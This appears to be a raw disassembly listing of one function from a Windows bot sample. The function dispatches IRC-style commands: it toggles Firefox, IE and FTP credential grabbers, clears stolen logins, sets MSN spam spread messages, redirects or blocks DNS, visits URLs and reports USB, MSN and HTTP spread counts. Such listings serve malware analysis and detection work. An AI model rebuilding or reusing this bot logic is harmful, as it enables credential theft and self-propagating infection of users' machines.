Function at 0xe36cb0
Capabilities:
Create thread

Disassembly:
sub esp, 0x908
push ebx
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1ff
xor eax, eax
lea edi, [esp + 0x119]
mov byte [esp + 0x118], 0
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x928]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 1
cmp ecx, eax
jl 0xe3805e
mov ebp, dword [esp + 0x920]
mov ebx, dword [esp + 0x924]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
push 0xe40718
mov eax, dword [ebp + ebx*4]
push eax
call esi
test eax, eax
jne 0xe36d5e
mov ecx, dword [esp + 0x92c]
mov edx, dword [esp + 0x91c]
push str.C:UsersAdminAppDataRoamingVgpwpr.exe
push 0xe43bac
push str.t2f_im
push str.1.0.3
push str._v__s__c__s__h__s__p__S__
push ecx
push edx
call fcn.00e36b20
add esp, 0x1c
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov eax, dword [ebp + ebx*4]
push 0xe4071c
push eax
call esi
test eax, eax
jne 0xe36e49
cmp dword [esp + 0x928], 1
jle 0xe36da8
mov ecx, dword [ebp + ebx*4 + 4]
push 0xe424f4
push ecx
call esi
test eax, eax
jne 0xe36dd4
mov edx, dword [0xe44ae8]
push 0xe424f0
push edx
call sub.ntdll.dll_strstr
add esp, 8
test eax, eax
je 0xe38059
mov eax, dword [esp + 0x91c]
push 0
push str.reconnecting
push str.QUIT_:_s_r_n
push eax
call fcn.00e36a80
add esp, 0x10
mov eax, 0xfffffffe
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov ecx, dword [ebp + ebx*4 + 4]
push 0xe424dc
push ecx
call esi
test eax, eax
jne 0xe38059
mov edx, dword [0xe44af4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 2
je 0xe38059
mov eax, dword [0xe44af4]
mov ecx, dword [0xe43a74]
push eax
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [esp + 0x91c]
push 0
push str.reconnecting
push str.QUIT_:_s_r_n
push edx
mov dword [0xe44af4], 0
call fcn.00e36a80
add esp, 0x10
mov eax, 0xfffffffe
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov ecx, dword [ebp + ebx*4]
push 0xe40708
push ecx
call esi
test eax, eax
jne 0xe36e84
mov edx, dword [esp + 0x91c]
push eax
push str.exiting
push str.QUIT_:_s_r_n
push edx
call fcn.00e36a80
add esp, 0x10
mov eax, 0xfffffffd
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov eax, dword [ebp + ebx*4]
push 0xe4070c
push eax
call esi
test eax, eax
jne 0xe36ebf
mov ecx, dword [esp + 0x91c]
push eax
push str.removing
push str.QUIT_:_s_r_n
push ecx
call fcn.00e36a80
add esp, 0x10
mov eax, 0xfffffffc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov edx, dword [ebp + ebx*4]
push 0xe40728
push edx
call esi
test eax, eax
jne 0xe37076
cmp dword [esp + 0x928], 1
jle 0xe3703b
mov eax, dword [ebp + ebx*4 + 4]
push 0xe424c4
push eax
call esi
test eax, eax
jne 0xe36f3f
lea ecx, [esp + 0x14]
push 0xe424c0
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [0xe44af8]
push edx
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
lea ecx, [esp + 0x18]
push ecx
push str.SEND__s__s_r_n
mov edx, dword [esp + 0x928]
push edx
call fcn.00e36a80
add esp, 0x10
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov eax, dword [ebp + ebx*4 + 4]
push 0xe424f4
push eax
call esi
test eax, eax
jne 0xe36fa3
mov ecx, dword [0xe44ae8]
push 0xe424f0
push ecx
call sub.ntdll.dll_strstr
add esp, 8
test eax, eax
je 0xe36fa3
lea edx, [esp + 0x14]
push str.new
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 0x91c]
lea eax, [esp + 0x14]
push 0
push eax
push str.SEND__s__s_r_n
push ecx
call fcn.00e36a80
add esp, 0x10
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov edx, dword [ebp + ebx*4 + 4]
push 0xe424b4
push edx
call esi
test eax, eax
jne 0xe3700d
mov eax, dword [0xe44ae8]
push 0xe424b0
push eax
call sub.ntdll.dll_strstr
add esp, 8
test eax, eax
je 0xe36fd1
push str.admin
jmp 0xe36fd6
push str.user
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esp + 0x91c]
lea edx, [esp + 0x14]
push 0
push edx
push str.SEND__s__s_r_n
push eax
call fcn.00e36a80
add esp, 0x10
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov ecx, dword [ebp + ebx*4 + 4]
push 0xe4249c
push ecx
call esi
test eax, eax
jne 0xe38059
lea edx, [esp + 0x14]
push 0xe424c0
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.1.0.3
jmp 0xe36f08
lea eax, [esp + 0x14]
push 0xe424c0
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [0xe44af4]
lea edx, [esp + 0x14]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [esp + 0x91c]
lea eax, [esp + 0x14]
push 0
push eax
push str.SEND__s__s_r_n
push ecx
jmp 0xe36f27
mov edx, dword [ebp + ebx*4]
push 0xe4072c
push edx
call esi
test eax, eax
jne 0xe371ec
cmp dword [esp + 0x928], 1
jle 0xe371b1
mov eax, dword [ebp + ebx*4 + 4]
push 0xe424c4
push eax
call esi
test eax, eax
jne 0xe370c4
lea ecx, [esp + 0x14]
push 0xe424c0
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [0xe44af8]
push edx
jmp 0xe37195
mov eax, dword [ebp + ebx*4 + 4]
push 0xe424f4
push eax
call esi
test eax, eax
jne 0xe37115
mov ecx, dword [0xe44ae8]
push 0xe424f0
push ecx
call sub.ntdll.dll_strstr
add esp, 8
test eax, eax
je 0xe37115
lea edx, [esp + 0x14]
push str.new
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 0x91c]
lea eax, [esp + 0x14]
push 0
push eax
push str.PART__s_r_n
push ecx
jmp 0xe36f27
mov edx, dword [ebp + ebx*4 + 4]
push 0xe424b4
push edx
call esi
test eax, eax
jne 0xe3716c
mov eax, dword [0xe44ae8]
push 0xe424b0
push eax
call sub.ntdll.dll_strstr
add esp, 8
test eax, eax
je 0xe37143
push str.admin
jmp 0xe37148
push str.user
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esp + 0x91c]
lea edx, [esp + 0x14]
push 0
push edx
push str.PART__s_r_n
push eax
jmp 0xe36f27
mov ecx, dword [ebp + ebx*4 + 4]
push 0xe4249c
push ecx
call esi
test eax, eax
jne 0xe38059
lea edx, [esp + 0x14]
push 0xe424c0
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.1.0.3
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x14]
push 0
push ecx
push str.PART__s_r_n
jmp 0xe36f1f
lea eax, [esp + 0x14]
push 0xe424c0
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [0xe44af4]
lea edx, [esp + 0x14]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [esp + 0x91c]
lea eax, [esp + 0x14]
push 0
push eax
push str.PART__s_r_n
push ecx
jmp 0xe36f27
mov edx, dword [ebp + ebx*4]
push 0xe4079c
push edx
call esi
test eax, eax
jne 0xe37211
pop edi
mov eax, 1
pop esi
pop ebp
mov dword [0xe446a0], eax
pop ebx
add esp, 0x908
ret
mov eax, dword [ebp + ebx*4]
push str.stats
push eax
call esi
test eax, eax
jne 0xe3730c
cmp dword [esp + 0x928], 1
jle 0xe372ad
mov ecx, dword [ebp + ebx*4 + 4]
push 0xe42498
push ecx
call esi
test eax, eax
jne 0xe37264
mov ecx, dword [0xe4467c]
mov edx, dword [0xe44684]
mov esi, dword [0xe44680]
lea eax, [ecx + edx]
add eax, esi
push eax
push esi
push edx
push ecx
push str._usb__d__msn__d__http__d__total__d__
jmp 0xe378d4
mov ecx, dword [ebp + ebx*4 + 4]
push 0xe42494
push ecx
call esi
test eax, eax
jne 0xe372ad
mov eax, dword [0xe4468c]
mov ecx, dword [0xe44688]
lea edx, [eax + ecx]
push edx
mov edx, dword [esp + 0x930]
push eax
mov eax, dword [esp + 0x924]
push ecx
push str._ftp__d__http__d__total__d__
push edx
push eax
call fcn.00e36b20
add esp, 0x18
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov eax, dword [0xe4467c]
mov ecx, dword [0xe44684]
mov edx, dword [0xe44680]
mov edi, dword [esp + 0x91c]
lea esi, [eax + ecx]
add esi, edx
push esi
mov esi, dword [esp + 0x930]
push edx
push ecx
push eax
push str._usb__d__msn__d__http__d__total__d__
push esi
push edi
call fcn.00e36b20
mov eax, dword [0xe4468c]
mov ecx, dword [0xe44688]
lea edx, [eax + ecx]
push edx
push eax
push ecx
push str._ftp__d__http__d__total__d__
push esi
push edi
call fcn.00e36b20
add esp, 0x34
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov ecx, dword [ebp + ebx*4]
push str.logins
push ecx
call esi
test eax, eax
jne 0xe3744f
push 0xe43b80
call fcn.00e38ad0
mov edi, eax
add esp, 4
test edi, edi
jbe 0xe38059
cmp dword [esp + 0x928], 1
jle 0xe373e7
mov edx, dword [ebp + ebx*4 + 4]
push 0xe42490
push edx
call esi
test eax, eax
jne 0xe373be
push 0xe43b80
call fcn.00e38ab0
add esp, 4
test eax, eax
je 0xe37395
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push 0xe43b80
call fcn.00e38a50
add esp, 4
push eax
mov eax, dword [0xe43a74]
push 0
push eax
call esi
push 0xe43b80
call fcn.00e38ab0
add esp, 4
test eax, eax
jne 0xe3736c
mov ecx, dword [esp + 0x92c]
mov edx, dword [esp + 0x91c]
push edi
push str._Logins_:_Cleared__d_logins
push ecx
push edx
call fcn.00e36b20
add esp, 0x10
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov eax, dword [ebp + ebx*4 + 4]
mov ecx, dword [esp + 0x92c]
push eax
push ecx
push 0xe4246c
lea edx, [esp + 0x124]
push 0x7ff
push edx
call sub.ntdll.dll__snprintf
add esp, 0x14
jmp 0xe37409
mov eax, dword [esp + 0x92c]
lea ecx, [esp + 0x118]
push eax
push 0xe401a8
push 0x7ff
push ecx
call sub.ntdll.dll__snprintf
add esp, 0x10
lea edx, [esp + 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
mov eax, dword [0xe43a74]
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0xe38059
lea ecx, [esp + 0x118]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0
push esi
push 0xe39b80
jmp 0xe38048
mov edx, dword [ebp + ebx*4]
push 0xe40784
push edx
call esi
test eax, eax
je 0xe38059
mov edi, dword [esp + 0x928]
cmp edi, 2
jl 0xe38059
mov eax, dword [ebp + ebx*4]
push 0xe40710
push eax
call esi
test eax, eax
jne 0xe374a9
mov ecx, dword [ebp + ebx*4 + 4]
push 0xe42294
push ecx
call esi
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
mov dword [0xe446a4], eax
pop ebp
mov eax, 1
pop ebx
add esp, 0x908
ret
mov edx, dword [ebp + ebx*4]
push str.jps
push edx
call esi
test eax, eax
jne 0xe3758c
cmp edi, 3
jle 0xe37581
mov eax, dword [ebp + ebx*4 + 4]
push 0xe42490
push eax
call esi
test eax, eax
jne 0xe37507
mov ecx, dword [0xe44af4]
mov edx, dword [ebp + ebx*4 + 8]
push ecx
push edx
call sub.ntdll.dll_strstr
add esp, 8
test eax, eax
je 0xe37507
mov eax, dword [ebp + ebx*4 + 0xc]
mov ecx, dword [esp + 0x91c]
push 0
push eax
push str.SEND__s__s_r_n
push ecx
jmp 0xe36f27
mov edx, dword [ebp + ebx*4 + 4]
push 0xe4249c
push edx
call esi
test eax, eax
jne 0xe37538
mov eax, dword [ebp + ebx*4 + 8]
push str.1.0.3
push eax
call sub.ntdll.dll_strstr
add esp, 8
test eax, eax
je 0xe37538
mov ecx, dword [ebp + ebx*4 + 0xc]
push 0
jmp 0xe36f19
mov eax, dword [ebp + ebx*4 + 4]
push 0xe424f4
push eax
call esi
test eax, eax
jne 0xe38059
mov ecx, dword [0xe44ae8]
push 0xe424f0
push ecx
call sub.ntdll.dll_strstr
add esp, 8
test eax, eax
je 0xe38059
mov edx, dword [ebp + ebx*4 + 0xc]
mov eax, dword [esp + 0x91c]
push 0
push edx
push str.SEND__s__s_r_n
push eax
jmp 0xe36f27
mov ecx, dword [ebp + ebx*4 + 4]
push 0
jmp 0xe36f19
mov eax, dword [ebp + ebx*4]
push 0xe40724
push eax
call esi
test eax, eax
jne 0xe3767d
cmp edi, 3
jle 0xe37653
mov ecx, dword [ebp + ebx*4 + 4]
push 0xe42490
push ecx
call esi
test eax, eax
jne 0xe375fb
mov edx, dword [0xe44af4]
mov eax, dword [ebp + ebx*4 + 8]
push edx
push eax
call sub.ntdll.dll_strstr
add esp, 8
test eax, eax
je 0xe375fb
mov ecx, dword [ebp + ebx*4 + 0xc]
mov edx, dword [esp + 0x91c]
push ecx
push str.PART__s_r_n
push edx
call fcn.00e36a80
add esp, 0xc
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov eax, dword [ebp + ebx*4 + 4]
push 0xe4249c
push eax
call esi
test eax, eax
jne 0xe38059
mov ecx, dword [ebp + ebx*4 + 8]
push str.1.0.3
push ecx
call sub.ntdll.dll_strstr
add esp, 8
test eax, eax
je 0xe38059
mov edx, dword [ebp + ebx*4 + 0xc]
mov eax, dword [esp + 0x91c]
push edx
push str.PART__s_r_n
push eax
call fcn.00e36a80
add esp, 0xc
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov ecx, dword [ebp + ebx*4 + 4]
mov edx, dword [esp + 0x91c]
push ecx
push str.PART__s_r_n
push edx
call fcn.00e36a80
add esp, 0xc
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov eax, dword [ebp + ebx*4]
push 0xe40700
push eax
call esi
test eax, eax
jne 0xe3779a
cmp edi, 2
jle 0xe376ce
mov ecx, dword [ebp + ebx*4 + 8]
push 0xe42468
push ecx
call esi
test eax, eax
jne 0xe376b0
mov dword [0xe44694], 1
mov edx, dword [ebp + ebx*4 + 8]
push 0xe424f4
push edx
call esi
test eax, eax
jne 0xe376ce
push eax
push str.pdef
call fcn.00e34e30
add esp, 8
mov eax, dword [ebp + ebx*4 + 4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [0xe43a74]
add eax, 0x200
push eax
push 8
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0xe38059
mov edx, dword [ebp + ebx*4 + 4]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp dword [esp + 0x928], 2
jle 0xe37778
mov eax, dword [ebp + ebx*4 + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 3
jl 0xe37778
push 0xe41d18
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [ebp + ebx*4 + 8]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp dword [esp + 0x928], 3
jle 0xe37778
mov edx, dword [ebp + ebx*4 + 0xc]
push 0xe42468
push edx
call esi
test eax, eax
jne 0xe3775a
mov dword [0xe44694], 1
mov eax, dword [ebp + ebx*4 + 0xc]
push 0xe424f4
push eax
call esi
test eax, eax
jne 0xe37778
push eax
push str.pdef
call fcn.00e34e30
add esp, 8
mov ecx, dword [esp + 0x92c]
push ecx
push 0xe446a8
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0
push edi
push 0xe39310
jmp 0xe38048
mov edx, dword [ebp + ebx*4]
push 0xe40730
push edx
call esi
test eax, eax
jne 0xe378f7
mov eax, dword [ebp + ebx*4 + 4]
lea ecx, [esp + 0x118]
cmp edi, 2
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push ecx
jle 0xe3783e
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esp + 0x928]
mov esi, 2
cmp eax, esi
jle 0xe3784c
lea ebx, [ebp + ebx*4 + 8]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x118]
push edx
call edi
mov edx, eax
mov eax, dword [ebx]
push eax
mov dword [esp + 0x14], edx
call edi
mov ecx, dword [esp + 0x10]
lea edx, [ecx + eax + 1]
cmp edx, 0x200
jg 0xe37846
lea eax, [esp + 0x118]
push 0xe42464
push eax
call ebp
mov ecx, dword [ebx]
lea edx, [esp + 0x118]
push ecx
push edx
call ebp
mov eax, dword [esp + 0x928]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
inc esi
add ebx, 4
cmp esi, eax
jl 0xe377e6
jmp 0xe3784c
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0xe3784c
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edx, [esp + 0x118]
push edx
call edi
cmp eax, 0x400
jge 0xe38059
lea eax, [esp + 0x118]
push eax
call fcn.00e35480
lea ecx, [esp + 0x11c]
push ecx
call fcn.00e35410
push 0x400
push 6
push str.msnmsg
push 0xe452f0
call fcn.00e3bf12
mov esi, eax
add esp, 0x18
test esi, esi
je 0xe38059
push 0x400
push 0
push esi
call fcn.00e3b7fb
add esp, 0xc
lea edx, [esp + 0x118]
push edx
call edi
push eax
lea eax, [esp + 0x11c]
push eax
push esi
call fcn.00e3b834
lea ecx, [esp + 0x124]
push ecx
push str._MSN_:_Updated_MSN_spread_message_to___s_
mov edx, dword [esp + 0x940]
mov eax, dword [esp + 0x930]
push edx
push eax
call fcn.00e36b20
add esp, 0x1c
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov ecx, dword [ebp + ebx*4]
push str.msn.int
push ecx
call esi
test eax, eax
jne 0xe3798c
mov edx, dword [ebp + ebx*4 + 4]
push edx
call fcn.00e35410
mov eax, dword [ebp + ebx*4 + 4]
push eax
call sub.ntdll.dll_atoi
add esp, 8
test eax, eax
jle 0xe38059
mov ecx, dword [ebp + ebx*4 + 4]
push ecx
call sub.ntdll.dll_atoi
push 0x20
push 6
push str.msnint
push 0xe452f0
mov dword [0xe406f4], eax
call fcn.00e3bf12
mov esi, eax
add esp, 0x14
test esi, esi
je 0xe38059
push 0x20
push 0
push esi
call fcn.00e3b7fb
mov edx, dword [ebp + ebx*4 + 4]
add esp, 0xc
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [ebp + ebx*4 + 4]
push eax
push esi
call fcn.00e3b834
mov ecx, dword [ebp + ebx*4 + 4]
push ecx
push str._MSN_:_Updated_MSN_spread_interval_to___s_
jmp 0xe378d4
mov ecx, dword [ebp + ebx*4]
push str.http.set
push ecx
call esi
test eax, eax
je 0xe38059
mov edx, dword [ebp + ebx*4]
push str.http.int
push edx
call esi
test eax, eax
je 0xe38059
mov eax, dword [ebp + ebx*4]
push str.http.inj
push eax
call esi
test eax, eax
je 0xe37b17
mov ecx, dword [ebp + ebx*4]
push str.mdns
push ecx
call esi
test eax, eax
jne 0xe37b17
mov edx, dword [ebp + ebx*4 + 4]
push 0xe40194
push edx
call sub.ntdll.dll_strstr
add esp, 8
test eax, eax
je 0xe38059
mov eax, dword [ebp + ebx*4 + 4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 7
jle 0xe37a58
mov eax, dword [ebp + ebx*4 + 4]
mov ecx, 7
mov edi, 0xe404c4
mov esi, eax
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0xe37a58
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
mov eax, dword [0xe43a74]
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0xe38059
mov ecx, dword [ebp + ebx*4 + 4]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0
push esi
push 0xe39c60
jmp 0xe38048
cmp dword [esp + 0x928], 2
jle 0xe37acc
mov edx, dword [ebp + ebx*4 + 8]
push 0xe40194
push edx
call sub.ntdll.dll_strstr
add esp, 8
test eax, eax
je 0xe38059
mov eax, dword [ebp + ebx*4 + 4]
mov ecx, dword [ebp + ebx*4 + 8]
push eax
push 0xe401a8
push str.bdns
push ecx
call fcn.00e350d0
call fcn.00e355e0
mov edx, dword [ebp + ebx*4 + 8]
mov eax, dword [ebp + ebx*4 + 4]
mov ecx, dword [esp + 0x93c]
push edx
mov edx, dword [esp + 0x930]
push eax
push str._DNS_:_Redirecting___s__to___s_
push ecx
push edx
call fcn.00e36b20
add esp, 0x24
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov eax, dword [ebp + ebx*4 + 4]
push eax
push 0xe401a8
push str.bdns
push str.block
call fcn.00e350d0
call fcn.00e355e0
mov ecx, dword [ebp + ebx*4 + 4]
mov edx, dword [esp + 0x93c]
mov eax, dword [esp + 0x92c]
push ecx
push str._DNS_:_Blocked___s_
push edx
push eax
call fcn.00e36b20
add esp, 0x20
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
cmp edi, 3
jl 0xe38059
mov ecx, dword [ebp + ebx*4]
push 0xe40714
push ecx
call esi
test eax, eax
jne 0xe37b87
mov edx, dword [ebp + ebx*4 + 8]
push 0xe42440
push edx
call esi
neg eax
sbb eax, eax
inc eax
push eax
mov eax, dword [ebp + ebx*4 + 4]
push eax
call fcn.00e35310
mov ecx, dword [ebp + ebx*4 + 4]
add esp, 8
test eax, eax
push ecx
je 0xe37b5f
push str._Visit_:_Visited___s_
jmp 0xe37b64
push str._Visit_:_Error_visitng___s_
mov edx, dword [esp + 0x934]
mov eax, dword [esp + 0x924]
push edx
push eax
call fcn.00e36b20
add esp, 0x10
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov ecx, dword [ebp + ebx*4]
push 0xe40704
push ecx
call esi
test eax, eax
jne 0xe37c6a
mov edx, dword [ebp + ebx*4 + 8]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push edx
call esi
push eax
mov eax, dword [ebp + ebx*4 + 8]
push eax
push 0xe43bac
call sub.ntdll.dll__memicmp
add esp, 0xc
test eax, eax
je 0xe38059
cmp edi, 3
jle 0xe37bf3
mov ecx, dword [ebp + ebx*4 + 0xc]
mov edx, dword [ebp + ebx*4 + 8]
mov eax, dword [ebp + ebx*4 + 4]
push ecx
push edx
push eax
push str._s_s_s
lea ecx, [esp + 0x128]
push 0x7ff
push ecx
call sub.ntdll.dll__snprintf
add esp, 0x18
jmp 0xe37c17
mov edx, dword [ebp + ebx*4 + 8]
mov eax, dword [ebp + ebx*4 + 4]
push edx
push eax
push 0xe4246c
lea ecx, [esp + 0x124]
push 0x7ff
push ecx
call sub.ntdll.dll__snprintf
add esp, 0x14
lea edx, [esp + 0x118]
push edx
call esi
inc eax
push eax
mov eax, dword [0xe43a74]
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0xe38059
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x118]
push ecx
push esi
call edi
mov edx, dword [esp + 0x92c]
push edx
push 0xe446a8
call edi
push 0
push 0
push esi
push 0xe39760
jmp 0xe38048
mov eax, dword [ebp + ebx*4]
push str.slow
push eax
call esi
test eax, eax
jne 0xe37ce5
mov ecx, dword [ebp + ebx*4 + 8]
mov edx, dword [ebp + ebx*4 + 4]
push ecx
push edx
push 0xe4246c
lea eax, [esp + 0x124]
push 0x7ff
push eax
call sub.ntdll.dll__snprintf
add esp, 0x14
lea ecx, [esp + 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [0xe43a74]
inc eax
push eax
push 8
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0xe38059
lea eax, [esp + 0x118]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0
push esi
push 0xe33cf0
jmp 0xe38048
mov ecx, dword [ebp + ebx*4]
push 0xe40764
push ecx
call esi
test eax, eax
jne 0xe37f37
mov edx, dword [ebp + ebx*4 + 4]
push 0xe40350
push edx
call esi
test eax, eax
je 0xe37e87
mov eax, dword [ebp + ebx*4 + 4]
push str.msnu
push eax
call esi
test eax, eax
jne 0xe37d50
mov ecx, dword [ebp + ebx*4 + 8]
push 0xe42294
push ecx
call esi
test eax, eax
jne 0xe37f18
mov edx, dword [ebp + ebx*4 + 4]
push 1
push edx
call fcn.00e34e30
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov ecx, dword [ebp + ebx*4 + 4]
push str.pdef
push ecx
call esi
test eax, eax
jne 0xe37d93
mov edx, dword [ebp + ebx*4 + 8]
push 0xe42294
push edx
call esi
test eax, eax
jne 0xe37e58
mov eax, dword [ebp + ebx*4 + 4]
push 1
push eax
call fcn.00e34e30
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov edx, dword [ebp + ebx*4 + 4]
push str.ffgrab
push edx
call esi
test eax, eax
jne 0xe37dd6
mov eax, dword [ebp + ebx*4 + 8]
push 0xe42294
push eax
call esi
test eax, eax
jne 0xe37eb6
mov ecx, dword [ebp + ebx*4 + 4]
push 1
push ecx
call fcn.00e34e30
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov eax, dword [ebp + ebx*4 + 4]
push str.iegrab
push eax
call esi
test eax, eax
jne 0xe37e19
mov ecx, dword [ebp + ebx*4 + 8]
push 0xe42294
push ecx
call esi
test eax, eax
jne 0xe37f18
mov edx, dword [ebp + ebx*4 + 4]
push 1
push edx
call fcn.00e34e30
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov ecx, dword [ebp + ebx*4 + 4]
push str.ftpgrab
push ecx
call esi
test eax, eax
jne 0xe37e77
mov edx, dword [ebp + ebx*4 + 8]
push 0xe42294
push edx
call esi
test eax, eax
jne 0xe37e58
mov eax, dword [ebp + ebx*4 + 4]
push 1
push eax
call fcn.00e34e30
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov ecx, dword [ebp + ebx*4 + 4]
push 0
push ecx
call fcn.00e34e30
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov edx, dword [ebp + ebx*4 + 4]
push str.bdns
push edx
call esi
test eax, eax
jne 0xe37ed5
mov eax, dword [ebp + ebx*4 + 8]
push 0xe42294
push eax
call esi
test eax, eax
jne 0xe37eb6
mov ecx, dword [ebp + ebx*4 + 4]
push 1
push ecx
call fcn.00e34e30
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov edx, dword [ebp + ebx*4 + 4]
push 0
push edx
call fcn.00e34e30
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov eax, dword [ebp + ebx*4 + 4]
push str.usbi
push eax
call esi
test eax, eax
jne 0xe38059
mov ecx, dword [ebp + ebx*4 + 8]
push 0xe42294
push ecx
call esi
test eax, eax
jne 0xe37f18
mov edx, dword [ebp + ebx*4 + 4]
push 1
push edx
call fcn.00e34e30
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov eax, dword [ebp + ebx*4 + 4]
push 0
push eax
call fcn.00e34e30
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret
mov ecx, dword [ebp + ebx*4]
push 0xe40780
push ecx
call esi
test eax, eax
je 0xe38059
cmp edi, 4
jl 0xe38059
mov edx, dword [ebp + ebx*4]
push 0xe40798
push edx
call esi
test eax, eax
jne 0xe37fd1
mov eax, dword [ebp + ebx*4 + 0xc]
mov ecx, dword [ebp + ebx*4 + 8]
mov edx, dword [ebp + ebx*4 + 4]
push eax
push ecx
push edx
push str._s_s_s
lea eax, [esp + 0x128]
push 0x7ff
push eax
call sub.ntdll.dll__snprintf
add esp, 0x18
lea ecx, [esp + 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [0xe43a74]
inc eax
push eax
push 8
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0xe38059
